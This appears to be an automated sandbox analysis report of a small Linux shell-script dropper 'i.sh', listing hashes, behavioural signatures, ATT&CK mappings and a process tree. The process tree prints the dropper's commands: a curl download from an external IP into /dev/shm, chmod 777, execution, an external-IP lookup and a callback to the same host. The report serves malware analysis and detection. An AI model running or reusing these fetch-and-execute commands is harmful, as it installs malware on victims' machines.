fdb14707de0539a58c200f31ae6dbd43d34465d10c8ea60e332dfc122c4cd635

Analysis

max time kernel
8s
max time network
11s
platform
debian-9_mips
resource
debian9-mipsbe-20260126-en
resource tags

arch:mipsimage:debian9-mipsbe-20260126-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
25/04/2026, 09:48

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
i.sh
Size 389B
Sample260425-ls2ysset3x
SHA256 fdb14707de0539a58c200f31ae6dbd43d34465d10c8ea60e332dfc122c4cd635
MD5 6005086f0213db0179b57c1c21763362
SHA1 d680362da65a6e1dd803f3eef2c7716680703d3b
SHA512 895fa2199278358be36b2280396791575a663475e1be2201d7caa15f1d50f78d3053bee4eebaa103e2cb9a6c298d7510123b90a427ce064008ffebea637c1c1f
TLSH
T187E0F1520C8726703B5518828744112C84017EEBC3E43C91F20E37B65CDCB15B312BCB
MD5 SHA1 SHA512 TLSH

Score

7^/10

defense_evasion discovery upx

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
738	chmod

Executes dropped EXE 1 IoCs

ioc	pid	Process
/dev/shm/v	742	i.sh

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
2	ifconfig.me

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral3/files/fstream-1.dat	upx

Reads runtime system information 3 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 2 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
745	curl
750	curl

Writes file to shm directory 1 IoCs

Malware can drop malicious files in the shm directory which will run directly from RAM.

description	ioc	Process
File opened for modification	/dev/shm/v	curl

/tmp/i.sh
/tmp/i.sh
1⤵
- Executes dropped EXE
PID:714
- /usr/bin/curl
  curl -sL http://5.63.19.19/vc2 -o /dev/shm/v
  2⤵
  - Reads runtime system information
  - Writes file to shm directory
  PID:719
- /bin/chmod
  chmod 777 /dev/shm/v
  2⤵
  - File and Directory Permissions Modification
  PID:738
- /usr/bin/curl
  curl -s ifconfig.me
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  PID:745
- /bin/uname
  uname -m
  2⤵
  PID:749
- /usr/bin/curl
  curl -s http://5.63.19.19:9999/verify/hit-85.203.46.81-LOADER-mips
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  PID:750

/dev/shm/v
/dev/shm/v
1⤵
PID:742

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

Path /dev/shm/v
Size 9.2MB
SHA256 ed33fce6b1ea7732567eb674aaff983bdc2eac7da8f541b81963d37f0559e36c
MD5 63ea169119cb38247c71ebbf84d8fd37
SHA1 2387ff8ffb44c4e50a9132b72045a9814168887f
SHA512 168a440c5a8b0ed94c46ca470a6e79a00c22b8a9c74502d340b321021c20f9aed67983393e4b1258084066889e58ea2b7c6096af8c4ea00c0a7e4edf2e841dd7
SSDEEP 196608:rOyotIgn/V/W6LCbpZVhvV1CICT36GjeOCJTVESymQxC3jE5Fve:rHg/tW7VhvyVeOATVE/m33mFm
TLSH
T11FA633769BD0AF3F6F3400FFD46773D4A9819B9001786F6750AD284B8A05A78A9025FF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download